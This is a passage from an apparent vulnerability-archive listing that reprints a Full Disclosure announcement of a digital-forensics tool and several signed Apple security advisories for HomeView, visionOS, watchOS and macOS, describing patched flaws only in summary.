`0xFF` envelopes (`GO` / `PARTIAL` / `NO_GO_COMPACTED_OR_UNSUPPORTED`) using aggregate counts only without emitting raw message plaintext or paths. - Cross-Block 32 KiB LevelDB `.log` Carver (`parse-leveldb-log`): Parses physical 32,768-byte WAL blocks, verifies masked Castagnoli CRC32C (`(((crc >> 15) | (crc << 17)) + 0xA282EAD8) mod 2^32`), reassembles `FULL`, `FIRST`, `MIDDLE`, and `LAST` fragments across `0x8000` block boundaries, and carves soft-deleted / edited JSON records (`--schema auto|chatsvc|generic-json`) anchored to exact physical byte offsets (`leveldb_batch_byte_offset`). - Exported JSON Triage & Container Provenance (`triage-json`, `inspect-image`): Enumerates `deletetime` / `edittime` records in JSON exports and performs neutral structural verification of RFC 2083 PNG chunks (`IHDR`/`iCCP`/`IDAT`) and multi-segment ISO 10918 JPEG `APP2` ICC (`acsp`) + `APP13` (`8BIM`) markers, paired with explicit OS-screenshot caveats to prevent overclaiming. - Payment Identifier Checksums & Keyed Pseudonymization: Validates ISO/IEC 7812 Luhn card numbers, 89-country ISO-13616 IBAN Mod-97 checksums, intra-message UK Sort Code + 8-digit account pairs, and ISO-9362 SWIFT/BIC syntax (250 ISO-3166 country codes). Suppresses filenames, byte counts, and stderr snippets while pseudonymising matched identifiers by default via per-run keyed HMAC-SHA256 tokens (`--hmac-digest {sha256,sha384,blake2b}`). - `StarShield-Bench-24` Synthetic Evaluation Corpus: 24 seeded synthetic test cases (`SSB24-01`..`SSB24-24`) scoring WAL recovery, byte-offset citation accuracy, malformed-container rejection, and bilingual indirect prompt-injection resilience; paired with 12 companion financial-triage cases (`TC-0456`..`TC-0467`) submitted upstream in OWASP GenAI Data Security Initiative PR #119. 3. Reproducible Build & Cryptographic Verification -------------------------------------------------- Single-file reproducible `starshield.pyz` SHA-256 (`v0.3.7`): e6603ef083b20a5460bf56818f63a3a94b856deb377a5b6330be2394e0e21232 Maintainer OpenSSH Ed25519 Signing Key (`KEYS.pub` in repository): 2196305+Ziqi () users noreply github com namespaces="file,git" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKz9qGDNELwOsoNnmZIpLKQ+5HOqdE4ilZaTRA/1LR7a Verification commands (OpenSSH >= 8.2p1, zero external packages): ssh-keygen -Y verify -f KEYS.pub \ -I "2196305+Ziqi () users noreply github com" \ -n file -s SHA256SUMS.sig < SHA256SUMS shasum -a 256 -c SHA256SUMS python3 scripts/build_reproducible.py --verify Bug reports, edge-case Chromium WAL test vectors, and technical critiques are welcome via GitHub Issues: https://github.com/Ziqi/starshield-forensics -- Ziqi Xiao Independent Security Architect & Digital Forensics Researcher https://ziqi.github.io/starshield/ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Credits

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Suppresses\n  filenames, byte counts, and stderr snippets while pseudonymising matched\n  identifiers by default via per-run keyed HMAC-SHA256 tokens\n  (`--hmac-digest {sha256,sha384,blake2b}`).\n\n- `StarShield-Bench-24` Synthetic Evaluation Corpus:\n  24 seeded synthetic test cases (`SSB24-01`..`SSB24-24`) scoring WAL\n  recovery, byte-offset citation accuracy, malformed-container rejection,\n  and bilingual indirect prompt-injection resilience; paired with 12\n  companion financial-triage cases (`TC-0456`..`TC-0467`) submitted\n  upstream in OWASP GenAI Data Security Initiative PR #119.\n\n\n3. Reproducible Build \u0026 Cryptographic Verification\n--------------------------------------------------\nSingle-file reproducible `starshield.pyz` SHA-256 (`v0.3.7`):\n  e6603ef083b20a5460bf56818f63a3a94b856deb377a5b6330be2394e0e21232\n\nMaintainer OpenSSH Ed25519 Signing Key (`KEYS.pub` in repository):\n  2196305+Ziqi () users noreply github com namespaces=\"file,git\" ssh-ed25519\nAAAAC3NzaC1lZDI1NTE5AAAAIKz9qGDNELwOsoNnmZIpLKQ+5HOqdE4ilZaTRA/1LR7a\n\nVerification commands (OpenSSH \u003e= 8.2p1, zero external packages):\n  ssh-keygen -Y verify -f KEYS.pub \\\n    -I \"2196305+Ziqi () users noreply github com\" \\\n    -n file -s SHA256SUMS.sig \u003c SHA256SUMS\n  shasum -a 256 -c SHA256SUMS\n  python3 scripts/build_reproducible.py --verify\n\nBug reports, edge-case Chromium WAL test vectors, and technical critiques\nare welcome via GitHub Issues: https://github.com/Ziqi/starshield-forensics\n\n-- \nZiqi Xiao\nIndependent Security Architect \u0026 Digital Forensics Researcher\nhttps://ziqi.github.io/starshield/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0571

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-12-2026-1 HomeView Software Version 27.2
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-12-2026-1 HomeView Software Version 27.2 HomeView Software Version 27.2 addresses the following issues. Information about the security content is also available at https://support.apple.com/149851. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: Apple HomeView Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple App Intents Available for: Apple HomeView Impact: An app may be able to access sensitive user data Description: An authorization issue was addressed with improved state management. CVE-2026-113963: László Várady Bluetooth Available for: Apple HomeView Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: Apple HomeView Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: Apple HomeView Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: Apple HomeView Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: Apple HomeView Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher Messages Available for: Apple HomeView Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher rapportd Available for: Apple HomeView Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple Apple HomeView automatically installs software updates by default. Instructions on how to manually install Apple HomeView software updates are available at https://support.apple.com/149085. To check the software version on your Apple HomeView, open the Settings app and choose General > About. All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmr2VR4ACgkQ4Ifiq8DH 7PXqHA/9Ef7XNcYYv5FLb9sisFWQaoBXK3Ep1B0PQq7hY9bOSL9vAzJX0VoXGt5j ju5d158WueSVKCzFcnsFp8FUpk0DlB+cABVGenZd4x2YO4gdSHK1d6QqMFCvwrwr CheKrSRxvu2R+vBf1J9RzTg/zrSp//Svo2fWcVAsku44nGtLvDRPnR9cozxV84Tg jgh6FQIVK/m7yFNWQeuOnMDhqaE35mqjXXYOo+6TAdZb89n0TUk2BG+OBk7j5bC9 +ZPc623+eA38O4aB9GB+U1ZvdDs+/UeZLEViTn/ei+BlAmRNoi8neej/siC6zU7j Rk/m/u9XJJcMplw/WWFJZ38QLN+4SnGTZrTr9Mi7WN3CPIzFtc9V4n812lTapbpI 10S7y1PPsZsLMwQ2shdyn2vhYiJsTRfeHZkBirnA+ubDmKNzvDpkpidjCh4TdXNp VhV9uE6m+meTXjSuQhavWp8D8qAYUveh2j9rd1nSqx8VPA5Dt6UshK7gEmFNn3Lc M0oEXAgKZRF6/oihJJlVLbk7JtPyuidELWFAYYpyY2rUMwoEmjMhqaRrUp6YbCNf XHOECOXADUAi4qcAgmFNKrzGu97BiOWxRIGksaTf18eQzgMFa2tWf1OPwjm2zNuS KSdJ1urWakp7DkQ6vb9y9gnQ8MfqmgfFNggb+4raY2tOw+Uqvms= =uLXd -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
reference GCVE-1988-2026-0571 (this record)

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GCVE-1988-2026-0570

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-09-2026-9 visionOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-9 visionOS 27.2.1 visionOS 27.2.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149724. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: Apple Vision Pro (all models) Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple App Intents Available for: Apple Vision Pro (all models) Impact: An app may be able to access sensitive user data Description: An authorization issue was addressed with improved state management. CVE-2026-113963: László Várady Bluetooth Available for: Apple Vision Pro (all models) Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: Apple Vision Pro (all models) Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: Apple Vision Pro (all models) Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: Apple Vision Pro (all models) Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: Apple Vision Pro (all models) Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher Messages Available for: Apple Vision Pro (all models) Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher rapportd Available for: Apple Vision Pro (all models) Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple Instructions on how to update visionOS are available at https://support.apple.com/kb/HT214009 To check the software version on your Apple Vision Pro, open the Settings app and choose General > About. All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPNsACgkQ4Ifiq8DH 7PV7cw//XvsvQAHMfkXR35OLWtPJDXxcz0EXU+h8KhueWvnvpSX3HC/yzikobjcE qC0hXySXbR51FmyucVfEkCqVmP4X1UHDNUUCW3OE/yCVGPKyoZtyVN0r2qbiZrDF IkwIlNhbFy2FOlqsJcwwHCaMt5cwUeSkwxnkn0wgTpt33SEj2u98Vpqac4DZd+zk BIXGtN8XvSQMgxDlxm/6NN76G5jdl4kIcBPPsOI9QISCYaTVby7ZfLwaRo8epphe CtGLV7P9p4Hn5wSoZZeCtDSi3Qtmk3CkEOPDu+/pKQvGTXjFFDLtpfPadoo5aaGf +wlSL5/4J+E0/QWQo9LoRBUb7N+cQ9ckbJPhdljWD8ug3npgfdAYz4HSpwisPc12 AE3LrsLPLyiP6EOp4QxVvaSkD3OlBqRIprZgeVQPCBpCg1STuY8atCgmnAgVzfiC EuTvPrgngLED1yBZykWovVTAD6AFBlo7ldcUZC/k30A64rqf658bj2/TplPxYvxB p0QZMbWVutDwaIViROjHo4djr706lVrNq8ZGBUyUc3DYi77/OMCXSYojb2/IVoFw R8D0JImdBVb0MI+1EZ3q0TX6fZPnK6dD8daI9Kow7MIOGtkNRsJiCsbnkQKYS4ko S+zCQ8GeuX244n5jO8Iunnk9j4dcgMj2AH/XRguaSSb3l0n1K2E= =CIAD -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Visionos Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0570 (this record)

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      "affected": [
        {
          "product": "Visionos",
          "vendor": "Apple",
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GCVE-1988-2026-0569

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-09-2026-8 watchOS 26.6.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-8 watchOS 26.6.1 watchOS 26.6.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149723. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple CoreUtils Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher rapportd Available for: Apple Watch Series 6, Apple Watch Series 7, Apple Watch Series 8, Apple Watch SE (2nd generation), and Apple Watch Ultra Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryYmsACgkQ4Ifiq8DH 7PUIZg//d2qdsd9FczlHYGX+r0EcVh7ODCRFN7k53cyBhMnY8MQRf0jZD7cXms/n y5cSB3ihdcq6F+lrnASQtA3wtrtuqNdlbtoMuim9y25n4ipLpIdqGgWFQvTrTo1u ZCRG/Sc6BnK65B47CwpkPSSt92TyV5LQhM9scyW4dsOCAdZMUuaj8Zcw6hLVxefd KSClkNwRoglVg578VKxWHDU4HD2SZcLj9jKlN4m7FBG9+2dc59CSOFZ3+7xo19Q1 Rn3ZF1PXDc2AUQS+eiA5P0nOlB1sjKofIVwuXchSQ/Ulmo6m4IGij++qK+8tU1N7 N6Z6SQhjEy+MMa/7V/QvpZTSyP4Jnjoj2+bkRNt6Tf7TMIHqcybfg1OHyqUhSdyB 8PsUrT8cOJEneiKXOgbdDRwf8PMHiIszm+w8XYriYIEDWBtCkJsZQTUgVGp2B15W qhZdVniwkz11avlMYyWVZUOofag6gI8LfWHBkWEVmiGURiQAyT7eLp1Wf5yaeGXj E2bU3KcO5b8HQeVNtDw2JeRMZ91SxLEav3q7Ac7HzHBtZZfM6z6yqcJdzLdft+4C imCemy7syDVZOpze6v+3v+9300EqdKSRSBXhlsDDAusNDg9vy7CHLWTN+JDqguMW SvFsoP1K2Zfx9s1PGoS77aAqbPXAgUa4E00OEpjbKZbu0AwZEyI= =FTiO -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Watchos Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0569 (this record)

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GCVE-1988-2026-0568

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-09-2026-7 watchOS 27.2.1
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-7 watchOS 27.2.1 watchOS 27.2.1 addresses the following issues. Information about the security content is also available at https://support.apple.com/149722. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: Apple Watch Series 9 and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple App Intents Available for: Apple Watch Series 9 and later Impact: An app may be able to access sensitive user data Description: An authorization issue was addressed with improved state management. CVE-2026-113963: László Várady Bluetooth Available for: Apple Watch Series 9 and later Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: Apple Watch Series 9 and later Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: Apple Watch Series 9 and later Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: Apple Watch Series 9 and later Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: Apple Watch Series 9 and later Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher Messages Available for: Apple Watch Series 9 and later Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher rapportd Available for: Apple Watch Series 9 and later Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPJwACgkQ4Ifiq8DH 7PU57A/+MjEqUmgdUxHQBA0A3aAyuLUSmQ8jw0uXA7ujj3ZPZ79jnbgAQmgY5uxR tCzp+9cvPdA5oHK1oK+/IOxhzIWQWV8K8DdSdCChKMM3IMK+L8YnBeo7upzcxQJj OG3/nqlUpWESuK/UPhP+zaWXmzgudhSYtwso1RNQlsb0oLenfIuwK+Z23BENybbg oAPv0pO7wwA4mwbTtsqrNWGUcw4bi+HL0mnkx+62gQfkktlolvcfy5CwM+wHcI/i kEHxoDtxAHIWSO/qlNxoY8Ykba2PI0et1/87DRmduLVLcWUeARi4JuYiMzM2JGoo TTWn/wp/RXAzIBFV1/kfX9fgLKTTMzEIjeM6hTAIPdt6RSoF4X9+iIXBhOI0HDWv ovTg5ZLd483VI//YRaJQMF6309ExQJmaHun9CTlxRzJZmB1NcW1u8S0B6//lk/6Q Iwgn9PlMH1ia/kFK45sU5IYO1Uyvel/2BjGL7VGnMyitryTV8gHOaES0jYryvxgR KL6RDKrvBJSAXpSecVAdZcdjJe/PK2JtG30fnGSyrd/JqL4hdkDwCq5HPaRucAUf wI7ygmrkauWN91MHyAtHlFaaXi+eBh3Xy3omYS/Bd/ARR/xTaj+C/pVZU3+heo0W Tekk4XjsaVCDn2orf73El+Q6IohEhmtYqoLnGB1aFqkeE+YbMTY= =EIIa -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Watchos Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0568 (this record)

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GCVE-1988-2026-0567

Vulnerability from gna-1988 – Published: 2026-11-13 02:29 – Updated: 2026-11-13 02:29
VLAI
Title
APPLE-SA-11-09-2026-6 macOS Sequoia 15.8.3
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-11-09-2026-6 macOS Sequoia 15.8.3 macOS Sequoia 15.8.3 addresses the following issues. Information about the security content is also available at https://support.apple.com/149720. Apple maintains a Security Releases page at https://support.apple.com/100100 which lists recent software updates with security advisories. AirPlay Available for: macOS Sequoia Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113968: Apple Bluetooth Available for: macOS Sequoia Impact: An attacker in Bluetooth range may be able to corrupt process memory Description: A use-after-free issue was addressed with improved memory management. CVE-2026-113970: Apple brotli Available for: macOS Sequoia Impact: Processing maliciously crafted input may lead to memory corruption Description: An out-of-bounds write issue was addressed with improved input validation. CVE-2026-111497 CoreUtils Available for: macOS Sequoia Impact: A malicious Bluetooth device may be able to establish a pairing without user interaction Description: This issue was addressed with improved checks. CVE-2026-113965: Apple CoreUtils Available for: macOS Sequoia Impact: An attacker in Bluetooth range may be able to bypass the rate limit on pairing code attempts and pair with a device without user interaction Description: A logic issue was addressed with improved state management. CVE-2026-113964: an anonymous researcher Messages Available for: macOS Sequoia Impact: A user added to an iMessage group may be able to access messages sent before they joined Description: This issue was addressed by removing the vulnerable code. CVE-2026-113960: an anonymous researcher Messages Available for: macOS Sequoia Impact: A remote attacker may be able to join an iMessage group chat and receive its messages Description: An authorization issue was addressed with improved validation. CVE-2026-113961: an anonymous researcher rapportd Available for: macOS Sequoia Impact: An attacker on the same network may be able to bypass the rate limit on AirPlay pairing code attempts Description: A logic issue was addressed with improved state management. CVE-2026-113969: Apple macOS Sequoia 15.8.3 may be obtained from the Mac App Store or Apple's Software Downloads web site: https://support.apple.com/downloads/ All information is also posted on the Apple Security Releases web site: https://support.apple.com/100100. This message is signed with Apple's Product Security PGP key, and details are available at: https://www.apple.com/support/security/pgp/ -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEhjkl+zMLNwFiCT1o4Ifiq8DH7PUFAmryPH8ACgkQ4Ifiq8DH 7PVXgA//W5a4x+xuVhxU5xkLGd6EOAmJsHp6p2v00/1mHOT1Vbzv0mE9Z6oi3ZPX eToAeFI0xryV6x2zVDm12NHpSVbOz86yjWH45+JnGc3J/9FPbTtGTZsw31Qa5sjK NPHwAUs7KHPKHfgOg50QdWYl4S+3iiS26yEs8WleKYKZtVOPiG7spDDJShP0TEBC NsWMlAnMShE2FubGU03P8i01ojGCWjblbBsoLg+XbSrBlJYZzze9BxombbAqdSuW SiWEJEGu9/G0mLvtebbts65yjRM2eu7TaWL/Ud84u9+xCmQciZnfd6Kii0zf1eT9 8zydrj2dqF5Ogeb3i/PCdPhyGUdPmCvcE1j2L4awhP6SDHeVtltiCHUCIZ4wDhoW V6XjG8NFdvTWux2RRteRTtE0jeRB8EP0HAwz18kv3/megarw1GmPTy2ubndupd3U o4JoD/glOQvT6X0y74G78En3oLF+/hBiAfn0ifs9IuVf87wEAKu4K0iduX75z0bj xayg4YW6y5xsNXcESSyvKLj4bkmoBBzk0xn8LwR+HVFd7s2Z+MpxGG6PCVfkhLtJ WmMeUgwNqiBHa6KxuPCbZdQI9iBGnEIqQU4uBCikwB3x9YhASc+CK10zwPOYW58M 0H1EjIQoJqsXUHwoUqnX1yEHzoVvN/VVP+lAy0zgtNK8dDWJvxY= =tmJ8 -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apple Macos Sequoia Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0567 (this record)

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displaying 1 - 10 publications in total 581